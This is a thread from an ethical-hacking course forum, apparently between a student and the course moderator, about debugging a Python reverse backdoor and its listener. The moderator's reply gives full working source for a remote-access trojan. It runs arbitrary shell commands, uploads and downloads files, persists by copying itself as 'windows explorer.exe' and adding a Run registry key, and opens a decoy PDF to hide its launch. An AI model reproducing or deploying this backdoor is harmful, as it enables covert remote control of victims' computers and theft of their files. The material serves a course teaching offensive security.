Viewing 8 posts - 1 through 8 (of 8 total)
  • Author
    Posts
  • #33718
    Avatarmr.phoenix
    Participant

    Hello!

    Please help me!
    I’m going with the lectures and I’m able to do system commands with the backdoor and listener what we created so far, but when I try to add the json function the code is not working.
    The backdoor code(on the target computer):

    #!/usr/bin/python
    import json
    import socket

    class Listener:
    def __init__(self, ip, port):
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((ip, port))
    listener.listen(0)
    print(“[X] Waiting for incoming connenctions”)
    self.connection, address = listener.accept()
    print(“[X] Got a connection from ” + str(address))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_recive(self):
    json_data = self.connection.recv(1024)
    return json.loads(json_data)

    def execute_remotely(self, command):
    self.reliable_send(command)
    return self.reliable_recive()

    def run(self):
    while True:
    command = raw_input(“>> “)
    result = self.execute_remotely(command)
    print(result)

    my_listener = Listener(“my kali machine’s ip”, 4444)
    my_listener.run()

    coming out with this:
    File “listener3.py”, line 36, in <module>
    my_listener.run()
    File “listener3.py”, line 31, in run
    result = self.execute_remotely(command)
    File “listener3.py”, line 26, in execute_remotely
    return self.reliable_recive()
    File “listener3.py”, line 22, in reliable_recive
    return json.loads(json_data)
    File “/usr/lib/python2.7/json/__init__.py”, line 339, in loads
    return _default_decoder.decode(s)
    File “/usr/lib/python2.7/json/decoder.py”, line 364, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
    File “/usr/lib/python2.7/json/decoder.py”, line 382, in raw_decode
    raise ValueError(“No JSON object could be decoded”)
    ValueError: No JSON object could be decoded

    listeners code (on kali machine):
    #!/usr/bin/python
    import json
    import socket

    class Listener:
    def __init__(self, ip, port):
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((ip, port))
    listener.listen(0)
    print(“[X] Waiting for incoming connenctions”)
    self.connection, address = listener.accept()
    print(“[X] Got a connection from ” + str(address))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_recive(self):
    json_data = self.connection.recv(1024)
    return json.loads(json_data)

    def execute_remotely(self, command):
    self.reliable_send(command)
    return self.reliable_recive()

    def run(self):
    while True:
    command = raw_input(“>> “)
    result = self.execute_remotely(command)
    print(result)

    my_listener = Listener(“my kali machine ip address”, 4444)
    my_listener.run()

    Thank you for your help.

    #33869
    AvatarZaid Sabih
    Moderator

    Are you getting this error with all commands or with just one specific command?

    #33928
    Avatarmr.phoenix
    Participant

    Hello Zaid!
    Thank you for your reply!

    The two machine connect successfully , but when I try send any command from kali to the target machine I got this error.

    #33961
    AvatarZaid Sabih
    Moderator

    Hmm, this is strange, you must have missed something tiny, I can share my code with you, but before doing so do you want to just revise the program and revise the lectures to make sure you did everything like I did in the video?

    #33972
    Avatarmr.phoenix
    Participant

    I done it 3 times and all the time is the same. If you would share your code with me I would really appreciate it. I always try to debug my self but I really stuck here.
    Thank you

    #34057
    AvatarZaid Sabih
    Moderator

    Okay this is mine

    Listener:
    #!/usr/bin/enc python
    import base64
    import json
    import socket

    class Listener:
    def __init__(self, ip, port):
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((ip, port))
    listener.listen(0)
    print(“waiting for incoming connections “)
    self.connection, address = listener.accept()
    print((“got a connection from ” + str(address)))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def execute_remotely(self, command):
    self.reliable_send(command)

    if command[0] == “exit”:
    self.connection.close()
    exit()

    return self.reliable_receive()

    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] download successful ”

    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())

    def run(self):
    while True:
    command = input(“>> “)
    command = command.split(” “)
    try:
    if command[0] == “upload”:
    file_content = self.read_file(command[1])
    command.append(file_content)
    result = self.execute_remotely(command)
    if command[0] == “download” and “[-] Error” not in result:
    result = self.write_file(command[1], result)
    except Exception:
    result = “[-] Error during command execution”
    print(result)

    my_listener = Listener(“10.0.2.4”, 4444)
    my_listener.run()

    reverse backdoor:
    #!/usr/bin/enc python
    import socket
    import subprocess
    import json
    import os
    import base64
    import sys
    import shutil

    class Backdoor:
    def __init__(self, ip, port):
    self.become_persistent()
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

    def become_persistent(self):
    evil_file_location = os, environ[“appdata”] + “\\windows explorer.exe”
    if not os.path.exists(evil_file_location):
    shutil.copyfile(sys.executable, evil_file_location)
    subprocess.call(‘reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “‘ + evil_file_location + ‘”‘,shell=True)

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def execute_system_command(self, command):
    DEVNULL = open(os.devnull, ‘wb’)
    return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)

    def change_working_directory_to(self, path):
    os.chdir(path)
    return “[+] Changing working directory to ” + path

    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())

    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Upload successful ”

    def run(self):
    while True:
    command = self.reliable_receive()
    try:
    if command[0] == “exit”:
    self.connection.close()
    sys.exit()
    elif command[0] == “cd” and len(command) > 1:
    command_result = self.change_working_directory_to(command[1])
    elif command[0] == “download”:
    command_result = self.read_file(command[1])
    elif command[0] == “upload”:
    command_result = self.write_file(command[1], command[2])
    else:
    command_result = self.execute_system_command(command)
    except Exception:
    command_result = “[-] Error during comand execution>”
    self.reliable_send(command_result)

    file_name = sys._MEIPASS + “\sample.pdf”
    subprocess.Popen(file_name, shell=True)

    try:
    my_backdoor = Backdoor(“10.0.2.15”, 4444)
    my_backdoor.run()
    except Exception:
    sys.exit()

    #34186
    Avatarmr.phoenix
    Participant

    Thank you!

    #34241

    You’re welcome, I’m glad we could help:)

Viewing 8 posts - 1 through 8 (of 8 total)
  • You must be logged in to reply to this topic.